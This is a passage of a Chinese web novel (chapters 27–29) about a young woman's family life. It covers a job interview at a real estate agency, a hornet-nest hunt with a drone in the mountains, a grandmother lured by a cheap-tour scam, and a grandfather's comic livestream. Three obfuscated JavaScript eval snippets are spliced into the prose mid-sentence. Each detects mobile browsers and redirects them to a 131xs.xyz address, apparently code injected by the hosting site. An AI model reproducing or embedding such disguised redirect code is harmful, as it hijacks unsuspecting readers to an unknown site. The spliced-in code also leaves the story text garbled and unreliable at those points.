常乐疑惑地看着她。 珍姐停顿片刻,将手机换了一边,语带笑意:“我想问一下,你们店还招中介吗?” 27. 27 吃过午饭,常乐就陪着珍姐去面试了。 中介门店离小区不远,走路五分钟就到了。珍姐说明了来意后,被带入里面的小房间单独谈话。 常乐坐在前台,跟小叶聊着天。 趁着旁边没有其他人,小叶好心提醒:“我们这儿底薪很低的,新人刚进来一个月也开不了几单,不知道你姐能不能接受。” 常乐小声问:“多少啊?” 小叶伸出两根手指。 常乐松了口气。反正珍姐醉翁之意不在酒,讨债的同时还能赚点外快,这波不亏。 “不过,你应该知道……”常乐话音一顿,左右各瞟一眼,压低声音,“她的目的吧?为什么还愿意当介绍人呢?” 小叶笑道:“嗐,现在很多人干中介,目的都不单纯。有人是为了卖自己的房,有人是为了捡漏低价房,还有的就是来混个底薪和社保。你姐是为了抓奸嘛,想想还挺刺激的。” 常乐不自然地笑了笑。 一想到珍姐入职后,每天都得维持怨妇形象,常乐就觉得挺对不住她的。 又闲聊了一会儿,珍姐出来了,跟小叶道谢,又冲常乐勾了勾手。 常乐跟着她走出门店。 “面试得怎么样?” “让我回去等通知,估计是嫌我年纪大了。” 常乐的眉眼耷拉下来。 珍姐喝一口矿泉水,反倒来安慰她:“没事儿,这附近还有好几家中介店,我挨个去试试,总能进一个吧?大不了我不要底薪。我就不信,我一个免费劳动力还没人要了。” 常乐发自内心地佩服她。有这份破釜沉舟的决心,她干什么都会成功的。 时候不早了,常乐叫了辆顺风车,回到家时天已经全黑了。 家人都坐在餐桌边等她。 “怎么样怎么样?”林文娟急切地问。 常乐上了个厕所,出来后才慢悠悠地说:“老板没来,来的是他的小三,她给了我们老板的老婆家的地址,我们找上门,没人。我同事决定当中介去蹲点。就这样。” 一家人你看看我,我看看你。 “……好复杂的人际关系。”常建民喃喃道。 “对了,”常乐看向姥姥,“我还碰到小杨了,她说电疗仪你尽管用,他们公司都垮了,没人会来找你麻烦。” 姥姥拍拍巴掌,面露喜色:“好哇!我就知道我运气好。那个地方又开了家新店,今天在发鸡蛋,我排了好几轮,领了五盒呢。” 常乐额角一抽,“是干什么的?” “没问。”姥姥起身走进厨房,过了会儿又出来,手里拿着一张花花绿绿的传单,“鸡蛋盒里塞了这张纸,好像是搞什么旅游团的,你看看。” 常乐接过传单,扫了一眼—— 景德镇两日游,299元/人; 厦漳泉五日游,599元/人; 云南七日游,799元/人; 珠港澳五日游,999元/人; 包吃包住,五星住宿,金牌导游,贴心照顾…… 价格低得离谱。常乐把传单扔到桌上,不屑道:“又是那种购物团,千万别信。” 姥姥收起传单,跃跃欲试道:“报名能送空气炸锅呢。” 常乐叹了口气。 电饭煲的教训你是一点没记住啊。 -- 第二天是周末,一大清早,常建民就鬼鬼祟祟地溜进常乐房间,伏在她的耳边问:“乐宝,我的无人机呢?” 常乐迷迷糊糊地翻了个身,含混地嘟囔道:“在那个、那个……” 常建民回头环视一圈,又摇摇她的肩膀,“哪个啊?” 常乐勉强恢复一点神志,边打哈欠边说:“衣啊啊啊柜下层——” 常建民急匆匆地打开衣柜,端出一个白色包装盒,打开,将里面的配件一一取出,摆放在床上。 “你这几天用过吗?” 常乐含糊地“嗯”了一声,用被子蒙住头,打算把做了一半的梦继续接上。 常建民一边检查设备,一边嘀嘀咕咕:“这个怎么装啊?这是什么?有说明书吗?怎么开机啊?……” 常乐忍无可忍,腾地一下坐起身,顶着一个乱蓬蓬的鸡窝头,对常建民发飙:“爸!你就不能拿回去慢慢研究?一大清早的,非得来折磨我是吧?” “哎呀没时间了。”常建民左手拿着无人机,右手举着遥控器,愁眉苦脸地说,“方师傅今天就得用。” 常乐清醒了一点,揉了揉眼睛,在记忆库中搜索片刻—— “那个捞男?” 常建民替他的偶像辩解:“什么捞男,别瞎说,人家是专业捕蜂人。” 常乐眉头一皱,“他来找你要无人机了?” “我给他送过去。”常建民报出一个常乐从未听过的地名,又说:“我查过了,开车过去要两个小时,我得早点出发。” 常乐连声啧啧。 花钱买贵重礼物、热脸贴冷屁股、大老远去见人家,这跟疯狂追星粉有什么区别? 那个方师傅到底有什么魅力,能把这个中年老男人迷成这样? 常乐思索片刻,穿上居家服,爬下床。 “爸,我陪你去吧。” 常建民惊讶道:“你也去?那地方挺远的,后半段都是山路,我怕你吃不消。” 常乐指着他手里的无人机,说:“我在小区里试过几次,基本会用了。你现在学也来不及了,不如带我去。” 常建民犹豫了下,同意了:“那……也行吧,给你十分钟时间。” 常乐钻进洗手间,快速洗漱。 她倒不是对那个魅魔有多大兴趣,主要是担心她的老父亲,居然敢跟一个陌生人钻深山老林。他就不怕囫囵个儿进去,散装着出来? 一点戒备心都没有,真是白活了这么多年。 天色微亮,父女俩就出发了。常建民开车,常乐躺在后排补觉。 山路弯弯绕绕,崎岖不平,又是一个急拐弯,“扑通”一声,常乐的脑袋撞上了车门。 “嘶——”她彻底醒了,捂着头顶哀嚎。 “没事吧?”常建民回头瞥她一眼。 常乐慢慢坐起身,望着窗外连绵起伏的山峦,心情不佳。 冬天的山就像婴儿的头顶,稀稀拉拉地竖着几根枯黄的毛发。 一想到跑那么远就为了给某人送无人机,她的心情更差了。 又过了半小时,小车终于驶进这个叫余家寨的小村子,又在村里绕来绕去。常建民几次停车,向路边的村民打听,才在村子的边缘找到那户蜂农的家。 常乐下了车,伸了个懒腰,环视一圈—— 身后是一栋灰白色的水泥平房,院子里整整齐齐地堆放着几十个木头箱子,一群蜜蜂在绕着箱子飞舞。 从平房里走出一个大婶,端着两杯茶,满脸笑意地迎了上来。 “是方师傅吧?一路上辛苦了。来来来,喝点茶。” 常建民接过她手里的茶杯,解释道:“我不是方师傅,我是来给他送东西的。他还没到吗?” “没呢。”大婶脸上笑意不减,另一杯茶端给常乐,“累了吧?来,坐这歇会儿。” 常乐坐在门口的小板凳上,小口啜着热茶,听大婶介绍:“我们是养蜂子的,冬天一般待在家里,让蜂子们休息过冬。今年不知道怎么回事,来了一波马蜂,把我家蜂子咬死一大片。以前都没有啊,马蜂一般是夏天和秋天比较多,我们见到就打死了……” 她絮絮叨叨说个不停,常乐见缝插针地说:“听说今年是个暖冬,马蜂活了下来,所以比往年要猖獗。” “哦,难怪。”大婶若有所思,“这东西真是害人,以前把我家老头子半边脸都蜇肿了,要不是及时送到医院,他这条命怕都保不住了。” 常乐对此深有感触:“我小时候也是,头肿得老大了……” 她正说着,忽然听到一阵摩托声由远及近。 常乐顺着小路望去,竟然看到一辆许久未见的边三轮,在土路上一颠一颠,如同在风浪里颠簸的船。 年少的记忆也如海浪般涌来,常乐不由得笑了。 边三轮在小车旁停下,从摩托车上下来两个男人,一个是方煦。他一眼认出了常乐,呲着大白牙跟她打招呼。 另一个,摘下头盔后,仿佛是方煦的成年版。 一样的小麦肤色,一样的黑亮眼瞳,但他比方煦高一个头,身材更加魁梧结实,脸部线条也更加棱角分明。 整个人站那儿,不说话,就气场十足。 常建民急忙迎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672442|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去,伸出双手,“哎呀,方师傅来了?一路上累了吧?” 男人跟常建民握了下手,语气淡淡的:“常叔叔,别那么客气,叫我小方就行。” 常建民满脸笑容,“不不不,还是得讲规矩,我叫你方师傅,你叫我老常。” 常乐“嘶”了一声,转过脸。 这谄媚的嘴脸简直没眼看。 “这位是?”男人的视线落在她身上。 常建民忙给他介绍:“哦,这是我姑娘,叫常乐。她会用无人机,所以就带她一起来了。”他又向她介绍:“这是方师傅,方凛。” 常乐迎上他的视线,露出职业假笑:“方师傅好。” 方凛点点头,问:“无人机带了吗?” 常乐:……还真直接啊。 而且,这语气,这态度,我是欠你的吗? “带了。”她干巴巴地说,转身翻了个白眼,回到车里,取出无人机。 她将遥控器递给他,试探道:“要我教你怎么用吗?” 方凛仰头观察着天空,似乎在目测云层的厚度。 思索片刻,他说:“今天来不及了,先干活吧,待会儿你负责操作无人机,我来指挥。” 方煦从边三轮的车斗里扛下来一个大布袋,一只胳膊伸到里面翻翻找找,最后掏出一个透明塑料袋,里面装着一块—— 猪肉? 常乐瞪大眼睛。谁要开饭了? 方凛接过塑料袋,绕着蜂箱堆转了一圈,最后找了个蜜蜂最多的蜂箱,将这块巴掌大的肉放在出口处。 方煦向其他人介绍:“这是早上刚买的,还新鲜着呢,马蜂闻着味儿就来了。” “马蜂还吃肉啊?”常乐闻所未闻。 方煦笑了下,“外面的猪肉摊上经常有马蜂,你没注意到吗?” 常乐摇摇头。她以前见过,还以为那是苍蝇呢。 方凛回过头,眉心微蹙,冲他们摆摆手。 方煦解释道:“我哥叫我们别说话,离远点。” 于是,几个人搬来小板凳,隔着两米远,坐在蜂箱周围,盯着那块肉,大气也不敢出。 方凛则蹲在蜂箱边,屏气凝神,等待着马蜂出现。 不知过了多久,常乐终于看到一只马蜂,悠悠荡荡地飞过来,落在猪肉上。 它比普通蜜蜂大很多,黄黑相间,翅膀细长。 也许是有童年的心理阴影,常乐一看到它就浑身不舒服,鸡皮疙瘩起了一身。 只见方凛从口袋里掏出一根细长的鱼线,绕过马蜂纤细的腰部,又用小剪刀剪断鱼线,只留一公分长,在另一头系上一片白色羽毛。 这片羽毛足有半个巴掌大,但很轻柔,系在马蜂身后,仿佛飘在空中。 马蜂正专注地啃噬着猪肉,根本没注意到身后人的小动作。 最后,方凛绕过马蜂的嘴,用小剪刀剪下一小块猪肉。马蜂咬着这块肉,快速振动翅膀,吃力地飞了起来。 方凛迅速起身,转头看向常乐,“快,无人机跟上。” 常乐这才反应过来,“哦”了一声,将无人机摆在地上,双手持遥控器,操纵无人机直直地向上飞。 几只脑袋凑了过来,盯着遥控器中间的显示屏。 方凛纵身一跃,攀上平房的楼顶,目光紧紧追随着马蜂的背影,沉声指挥:“低一点,往西南方向飞。” 常乐手指一顿。 啊?西南?哪边是西?哪边是南? 常建民急忙掏出手机,“别急啊,我查查指南针。” 方凛脸色一沉,拧眉望着这对父女,眼里写满了无语。 方煦指着右前方,急声叫道:“往那儿飞!东南西北,这点常识都没有吗?” 常乐赶紧调整无人机的飞行方向,可惜,就这么一会儿的工夫,马蜂已经消失得无影无踪了。 方凛深深叹了口气,跳下平房,从大布袋里掏出一根约两米长的粗麻绳,走到院外的一棵杨树下,麻绳环树半圈,双脚踩树,用力一蹬,然后—— 就这么噌噌噌地爬了上去。 常乐看得目瞪口呆。 这……怎么做到的?他是猴子变的吗? 常建民忍不住发出赞叹声,凑到常乐耳边,得意地说:“我跟你说过吧,他很厉害的。” 28. 28 方凛只花了半分钟就攀上了树顶,站在一根粗斜的树枝上眺望远方。 片刻后,他低头俯视常乐,指挥道:“九点钟方向。” 常乐在脑子里数了一圈才转过来。 她一边调整方向,一边嘀咕,搞什么军事术语,就不能直接说前后左右嘛。 方凛又冲她喊:“飞低点。” 常乐依言调整了高度,终于在屏幕中捕捉到了那一抹白,轻飘飘的,在树林上方飘舞。无人机跟在它后面,钻进了山林深处。 最后,白色羽毛消失在了一片松树林里。 “它不见了。”常乐急忙大喊。 “知道了。”方凛又用麻绳套住树干,双脚连蹬带滑,十几秒就从树上滑了下来。 他走到常乐身边,伸手,“给我看看视频。” 视频看完,他已经有了判断。他回过头,叮嘱方煦:“把东西带上,咱们出发。” 无人机缓缓飞回,落在原地。常乐装好设备,放回车上,眼看常建民就要跟他们一起进山了,她急忙小跑着追上去。 方凛回头看见她,奇怪道:“你跟过来干什么?” 常乐理直气壮道:“我爸去哪儿我就去哪儿,我要保证他的安全。” 方凛一脸黑线。 常建民面露尬色,解释道:“方师傅,我姑娘没见过捉马蜂,想跟过去见见世面。” 方凛冷冰冰地说:“防护服只有三套,还是因为你要来,特意多准备了一套。” 常乐很快反应过来,转头对方煦说:“小弟弟,你先回去歇着吧,小孩子干这种事太危险了。” 方煦很不服气:“我已经跟我哥干了三年了!” 常乐笑嘻嘻道:“所以啊,不差这一次。你就让我去吧,我难得来一次,总不能错过重头戏吧?” 方煦哑口无言。僵持片刻,他扔下肩上的大布袋,气哼哼地说:“这袋东西归你了。” 说完扭头就走了。 常乐满不在乎地拎起大布袋,笑容一下子僵住了。 这也太沉了,里面都装了些什么啊? 她用双手抓住布袋口,使出吃奶的劲儿,往肩上一甩,整个人差点跌坐在地上。 布袋里丁零当啷的,像是装了许多酒瓶。 “你小心点。”方凛的话证实了她的猜想,“里面有一壶白酒,别撞碎了。” 常建民急忙伸出援手,托住布袋的底部,说:“乐,你先扛一段路,待会儿换我。” 只能这样了。常乐郁闷地盯着方凛那张面无表情的脸,放弃了请他出手相助的念头。 前面的山路还算好走,十几分钟后,他们钻进了林子里,脚下是厚厚的松针和盘根错节的树根。幸好冬天的松树枝叶稀疏,没有挡住光线,常乐才得以看清脚下,不至于被土坑绊倒。 大布袋换到了常建民的肩上。常乐双手托着袋底,看着老父亲佝偻的背影,重重地叹了口气。 这是图什么啊? 一大把年纪了,还学年轻人户外探险,这一身老胳膊老腿都快累散架了,她看着都心酸。 不知走了多久,前面带路的方凛终于停下脚步,回过头,示意父女俩将布袋放下。 常建民长吁一口气,扶着老腰坐在一棵松树下,气喘吁吁地问:“到了?” “快了。”方凛走到布袋旁,从里面掏出三件棕色防护服,扔在地上,“先把衣服换上。” 他捡起一件,先将双腿塞进去,然后提起裤子,穿好上衣,戴上兜帽——兜帽前面用一块透明塑料板挡着脸,口鼻处有细密的小孔——最后,他将胸口的拉链拉到顶,将自己裹得严严实实的。 常乐挑了件干净的防护服,按照他的步骤,将自己包裹进来。 这衣服不知道是用什么材质做的,很厚实,挂在身上简直像穿了一件吸满水的浴袍。幸好面罩能透气,不影响呼吸和说话。 “好重啊。”常建民感叹道。他吃力地抬起胳膊,感觉比平时要笨重百倍。 方凛弯下腰,从布袋里掏出一个捕虫网,递给常乐,又提起一个大玻璃罐——里面装着半罐透明的液体,估计是白酒——交给常建民。自己则一手拿着工兵铲,一手提着纱布袋,继续往树林深处走去。 走了十几米远,他停了下来,笃定地说:“就这儿了。” 常乐赶紧仰起头,环视一圈,头顶的树枝清瘦稀疏,只看见几个鸟窝,哪有马蜂窝的影子。 “不在上面。”方凛说,“在你脚下。” “啊???”常乐吓得寒毛倒立,瞬间跑出去几米远。 她刚刚站在在两棵树中间,地面是倾斜的,下方有个约一米深的土坑。方凛跳下土坑,冲两人勾勾手。 “过来,做好准备。” 常乐挪动着小碎步,跟在常建民身后,跳进了土坑。她蹲在地上,双手抱住捕虫网,瑟瑟发抖。 待会儿就用这个对付马蜂吗?看起来好不靠谱啊。 现在跑还来得及吗? 常建民也怕得不行,具体表现在他拧玻璃罐的盖子时,颤颤巍巍地拧了半分钟,都没拧开。 方凛回头看他一眼,一脸无语:“反了。” “……哦哦。”常建民尴尬地笑笑,立刻调转方向,将盖子拧开,放到一旁。 方凛向两人交代道:“待会儿我来拆马蜂窝,马蜂肯定会四处乱飞,你们就负责抓住马蜂,把它们塞进酒罐里,就这么简单。” 卧龙凤雏对视一眼。 “嗯!”他们异口同声,“没问题。” 方凛拂开厚厚的松针,松软的土壁上出现了一个拳头大的洞口,他用工兵铲铲掉洞口周围的泥土,渐渐地,一个足足有半米宽,四、五层摞在一起的蜂窝就显露了出来。 常乐震惊得还来不及尖叫,就看见成群结队的马蜂从洞口冲了出来,伴随着嗡嗡的鸣响,直奔她的脸。 她的头皮都炸了。 每一只都有小拇指那么长,气势汹汹地冲过来,趴在她的面罩上,试图将屁股上的长刺从呼吸孔里戳进来。 常乐此生没见过这么惊悚又恶心的场面。 她吓得呆若木鸡,连哭喊都发不出声。 她一只手拿着捕虫网,在空中乱七八糟地挥舞,试图驱赶进击的马蜂。另一只手胡乱拍打着面罩,想把挡住视线的马蜂给赶走。 几只马蜂被拍死了,尸体四分五裂地黏在面罩上,黏液缓缓往下淌。 ……更恶心了。 常乐“呕”了一声,稍稍恢复了理智,深吸一口气,举起捕虫网,对准空中飞舞的马蜂挥舞过去,一下子捉到了三只。 “来来来。”常建民急忙递来玻璃罐。 常乐将捕虫网罩在罐口,抖了几下,马蜂接二连三地落进了白酒里。 如此重复十几次,玻璃罐里的马蜂越来越多,密密麻麻地浮在酒里,有的已经被灌醉了,有的还在极力扑腾。 方凛这边,也将马蜂窝整个搬了出来,装进纱布袋里,土壁上只剩一个巨大的洞穴。 常乐看到蜂窝里嵌着一个个白色卵状物,里面有黑点在蠕动。 “呕——”她又忍不住了。 最后一步,活捉蜂后。 方凛从洞穴深处揪出一只肥硕的马蜂,装进随身携带的玻璃瓶里。 常乐记得,他在来的路上说过:“只有找到蜂后,才算彻底摧毁了这个马蜂窝。” 空中飞舞的马蜂越来越少,只剩下几个残兵败将,成不了气候。 常乐起身时,看到一片白色羽毛,在空中忽上忽下。 一开始那只马蜂竟然还活着。 他们的老朋友,念在它带路有功,常乐决定放它一马。 几个人带着各自的战利品,回到分装备的地方,脱下厚厚的防护服。 常乐长吐出一口气。大冬天的,她居然闷出了一身臭汗。 “好玩吧?”常建民换好衣服,冲她挑挑眉。 常乐回味片刻,总结道:“又恶心又爽。” 就像网上那种挤痘痘、掏耳朵、抠头皮的视频,有人看了想吐,有人视若宝藏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675871|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去的路上,方凛主动肩负起扛装备的重任。 或许是良心发现,又或许是觉得,父女俩第一次出任务,精神遭受了重创,需要休息一下,来平缓心绪。 总之,回去时,常乐提着白酒,常建民拎着纱布袋,父女俩脚步轻盈,心情愉悦,仿佛是春游归来。 很快就回到了蜂农家。方煦就坐在门口,双手捧着手机,沉浸在游戏的世界里。看到他们凯旋而归,他也只是抬了抬眼,懒洋洋地打了声招呼。 大婶热情地迎上来,给他们一人端来一碗面,荷包蛋煎得两面金黄,肉片和青菜相映成辉,琥珀色的汤汁清透诱人。 常建民还假模假样地推脱了一番,常乐则毫不客气地捧着碗,坐在小板凳上大口吃了起来。 庆功宴总是格外香,这是对勇敢者的奖励。 吃完面条,方凛和方煦向大婶道了谢,收拾东西准备离开了。 常乐将无人机和遥控器装回盒子里,端给方凛。 “你自己回去慢慢练吧,里面有说明书,很容易的。” 方凛愣了下,没接。 “给我干吗?” “你不是点名要这个吗?”常乐疑惑地问,“你说要我爸买个无人机,你才肯收他为徒。” 方凛微微蹙眉,视线撇向别处,语气不悦:“你把我当什么人了?是方煦跟我说,你爸有台无人机,我才考虑带他进山。怎么就变成给我买的了?” 常建民赔笑道:“那可能是我误会了。方师傅,这台机器你就拿着吧,我们平时也用不上。你看你,每次都要爬那么高,多危险啊,有了无人机,就不用再爬树了。” 方凛一时没说话,似乎想捋顺前因后果。 常乐暗自嘀咕:收个礼物怎么还扭扭捏捏的呢?你让我爸买无人机,不就是要自己用吗? 她懒得再跟他掰扯,直接把盒子递给方煦。 方煦一脸喜色,正要接过来,又被方凛一个眼刀给吓退了。 “哥,你不是一直想买个无人机吗?”方煦底气不足地说,“正好常叔叔要送你一个,你就拿着用呗。” 方凛冷冷道:“你这两头骗的本事跟谁学的?我想要不会自己买吗?” 方煦讷讷地说:“那你不是舍不得嘛,装备齐全点的要一万多呢……” “再贵也不能伸手找别人要。”方凛冷瞥他一眼,长腿一跨,骑上了摩托车,“要点脸吧。” 方煦急忙跟上去,跨坐在他身后。 方凛冲父女俩点点头,牵起唇角,勉强笑了一下。 “常叔叔,误会一场,你别放在心上。” 常建民又是点头又是鞠躬,还举起手挥了挥,“没事没事,下次有需要,可以随时来找我,我的无人机一直为你留着!” 常乐:“……” 这一套话术哪儿学的?肉麻死了。 引擎轰鸣,边三轮转了个大弯,沿着小路越走越远,扬起一阵烟尘。 常建民还恋恋不舍地盯着他们离开的方向,手都没放下来。 “爸,”常乐啧啧感叹,“上次逛街碰到你单位的领导,你可没这么热情。” 常建民终于放下手,语调恢复了正常:“这能比吗?方师傅在我心中就像大侠一样,我领导就是头猪。” 常乐哈哈大笑起来。 两人回到车上,常乐看着怀里的无人机,忽然有些后悔。 “我还一直骂他捞男呢。”她自语道,“其实他人还不错,三观很正,比他那个弟弟强。” “是啊。”常建民一边开车一边说,“他单身。” ??? 常乐的脸刷地红了,“谁问了?” “以防你对他起小心思,我都提前帮你打探好了。”常建民脸上浮起意味深长的笑,如数家珍道,“他是退伍军人,父母双亡,有个弟弟,在咱们市区有房。他平时帮人捣马蜂窝,周末还会带队去徒步登山。怎么样,有没有兴趣?” “并没有!” 常乐冷哼一声,撇过头望着窗外,懒得搭理他。 29. 29 驶过弯弯绕绕的山路后,常建民跟常乐交换了位置,让她练练手。 又开了一个多小时,终于看见了小区大门。 门口依旧热闹,早上卖包子的那家店,到下午就变成了卤菜摊;水果店门口整整齐齐地堆放着各种水果,颜色鲜艳,琳琅满目;菜鸟驿站里有不少人在排队取包裹;旁边那家不知道卖什么的店,也排起了长队。 常乐眼尖,一眼就看到了队伍里的姥姥。 她正跟一个年轻小伙子争执着什么,看小伙子的动作,似乎想把她请出队伍。 “你姥姥在那儿。”常建民也看见了这一幕,“好像在跟人吵架?” 常乐猜测道:“肯定是她排了好几轮,被店员发现了。你看她手上——” 姥姥手里提着个网兜,兜里至少摞着三盒鸡蛋。 常建民:“你要不下去帮帮她?” “我?”常乐苦着脸,“你信不信,我一出现,她肯定要我排队领鸡蛋。” 常建民调侃道:“那有什么办法?谁让你是二老的保姆呢?” 常乐:“……” 好像是有这么回事。 唉,全职女儿不好当啊。这一天天的,操不完的心,防不完的骗。 常乐无奈地下了车,常建民又坐回驾驶座上,将小车缓缓驶进小区。 “姥,”常乐悄无声息地出现在姥姥身后,假装路过,“你怎么在这儿?” 果然,姥姥一看见她,眼睛一亮,立刻揪住她的胳膊,把她往队伍里塞。 “来来来,你来替我排。”她冲小伙子喊道,“你不让我排,让我外孙女来总可以吧?” 小伙子一脸无奈,说:“她要排也行,可是得从头开始排起,这样才公平。” 常乐“哦”了一声,转身就向后走,排在了队伍最末端。 姥姥迈着小碎步追上去,捶了下她的肩,埋怨道:“你傻啊?我的位置那么靠前,再排一会儿就到了。” “哎呀,不差这一会儿。” 常乐懒得跟她争辩,长叹一口气,低下头开始刷手机。 排了十几分钟,终于轮到她了。女店员递来一张调查表,声音甜腻:“您好,请您登记一下信息。” 常乐扫了一眼,前几项是询问姓名、电话、家庭住址,还算合理。后面又打听她的工作、月收入、存款之类的,她顿时心生反感,拿起笔就是一顿瞎填。 填好后还得扫二维码,加企业微信,加完后还得关注这家店的公众号…… 一顿操作下来,常乐的忍耐已到达极限了,女店员这才笑盈盈地拿起一盒鸡蛋递给她,并介绍道:“美女,可以看看我们旅行社最新推出的厦漳泉五日游活动哦,只要599一个人,最快下周就可以出发。报名就送空气炸锅,双人报名还能送烤箱哦。美女有兴趣了解一下吗?” 姥姥在背后不停戳她的肩。 常乐强忍住烦躁的情绪,礼貌谢绝:“不用了。” 走出门店,常乐把鸡蛋放进姥姥的网兜里,叹气道:“姥,你要这么多鸡蛋干嘛?一盒十个,加上昨天领的,已经有九盒了,吃不完都浪费了。” “怎么吃不完?咱家五口人,一人一天一个蛋,不到三周就吃完了。”姥姥喜滋滋地说,“到时候咱们再来领。” 常乐挽着她往小区里走。 “放不了那么久。”她提醒姥姥,“你没看保质期吗?下周就过期了。” “啊?”姥姥大惊失色,赶紧掏出一盒鸡蛋,眯着眼,盯着盒子上的那串小数字研究了半天。 “还真是!”她扭头就要往回走,“我去找他们换!” 常乐急忙拉住她,劝道:“那些鸡蛋都是从同一个大箱子里拿出来的,保质期肯定都一样啊,算了吧。” 姥姥呆在原地,怔怔自语:“那咋办?这么多蛋,一个星期怎么吃得完啊?” 她忽然灵机一动,“欸,听说做蛋糕要用很多鸡蛋,要不我去学学怎么做?” 常乐笑她异想天开:“你拿什么做?咱家又没有烤箱。” 姥姥指着不远处的门店,兴冲冲地说:“双人报名能送烤箱啊!这不巧了吗?” 常乐:“……” 巧什么巧啊?这么明显的圈套你看不出来? 她一把拽住姥姥的胳膊,把她往小区里拖。 “你还真是给个鱼饵就上钩啊!不就是九十个鸡蛋嘛,煎蛋炒蛋卤蛋水煮蛋茶叶蛋,我三天就给你消灭光!” -- 晚上,吃完全鸡蛋宴,姥爷就把自己关在书房,桌子上架着手机,还用台灯给自己打光,开始每晚的“苏大强模仿秀”。 常乐洗完碗,闲得无聊,叼了个苹果,偷偷溜进书房。 只见姥爷穿着灰色羊毛衫、黑色皮背心,打扮得像模像样的。乍一看确实有几分苏大强的神韵。 他的说话风格也在刻意模仿苏大强,拖着调子,有气无力,跟直播间的网友聊着自己的峥嵘往事,不时回答一下“蔡根花宝贝去哪儿了”之类的弱智问题。 常乐坐在桌侧,瞥了一眼手机上方的数据——直播间人数寥寥,一会儿两位数一会儿三位数,聊天的就那么几个。 偶尔有人打赏,姥爷都兴奋得不行,连声感谢,还起身鞠躬。 中途下播休息,姥爷缓缓地喝着热茶。 “姥爷,这一晚上能赚多少啊?”常乐好奇地问。 姥爷清了清嗓,“没多少,就是解个闷儿,找人聊聊天呗。” “姥爷,给你提个建议。”常乐说,“你说话时,嗓子里要卡着一口痰,这样更像他。” 姥爷“咳咳”两声,声音压得很低:“这样吗?” 常乐笑起来:“哎,不错不错。” 她坐到姥爷对面,认真端详着他,又掏出手机搜索苏大强的照片,举到他脸旁,对比道:“你的眼袋没他的深,眉毛没他的浓,头发比他茂盛一点……” 她忽然想到什么,两眼放光,跃跃欲试,“要不我给你补个妆?很快的!” 不等姥爷反应,常乐就一阵风似地冲出了书房,没一会儿,就提着化妆包兴奋地回来了。 姥爷一脸不乐意:“我怎么能化妆呢?这像什么话?” “苏太强!”常乐双手掐腰,装出一副凶样,呵斥道,“你现在是个网红,要有形象管理的意识!化个妆怎么了?哪个网红不化妆?不化妆怎么上镜?” 见姥爷没吭声,她话锋一转,语气软了下来:“再说了,我又不会给你化大浓妆,顶多是修修补补一下,锦上添花嘛。” 姥爷脸色微动,半晌,终于松口:“那……你稍微化淡点,不合适我就擦掉。” “好嘞!” 常乐兴致勃勃地打开化妆包,先找出眉笔,给姥爷加深了眉色。又用眉笔在他的眼袋上勾勒出线条,然后用小刷子晕染开,形成自然的褶皱。 鱼尾纹和法令纹也用这个方法加深。 最后是发际线。常乐有些犯难。 给他剃掉吗? 会不会牺牲太大了?就为了做个直播,值得吗? “姥爷,你前面的头发太多,我给你拔掉吧?” 姥爷大惊失色,赶紧伸手护住脑门,“不行不行!本来头发就不多!” 常乐装作为难:“那怎么办?你看看人家,发际线都退到头顶了,你不拔,就不像他了。要不……”她沉吟片刻,“我给你剃掉?” 姥爷陷入了两难,考虑许久,才勉强同意:“那……也行吧,你尽量少剃点。” 常乐强忍住内心的激动,掏出修眉的小刀,一寸一寸地给他刮出一个M型发际线。 最后,她举起镜子,给姥爷展示化妆后的成果。 姥爷脸皱成一团,嫌弃道:“这脸上一道道黑的是什么啊?我有这么老吗?这脑门也太大了,不行不行……” 常乐一边收拾工具一边笑道:“姥爷,这种妆要上镜才好看,不信你打开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687215|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直播。” 姥爷半信半疑地打开直播,不得不说,有了化妆和滤镜的加持,屏幕上的这张脸确实看上去更自然,也更像苏大强。 他慢慢接受了自己的模样,正襟危坐,开始讲话:“大家好,我又回来了……” 常乐小声提醒他:“痰、痰!” 姥爷咳了两声,舌根往上顶,挤压住喉咙,吃力地发出声音:“呃……我看到几位老朋友了,这个一串字母的朋友,谢谢你的小心心;翠花上酸菜,不要再问我初恋女友是谁了,已经是过去式了啊;六六六,蔡根花宝贝不在这儿……” 常乐灵机一动,掏出手机,在抖音上搜索“蔡根花”,一个个用户点进去,居然真的发现有个叫“根花宝贝”的中年女人正在直播,观看人数还不少。 “姥爷,你先别说话。”常乐小声提醒他。 她站在镜头之外,向前探着身子,伸出手,在他手机上搜索“根花宝贝”,然后申请连麦。 等了十几秒,那头居然真的接通了。 屏幕上出现了双频界面。左边是“根花宝贝”,她穿着一身粉色毛衣,配大红色背心,齐耳短发,笑容腼腆而亲切。 右边则出现了“苏太强”的鸵鸟蛋脑袋。 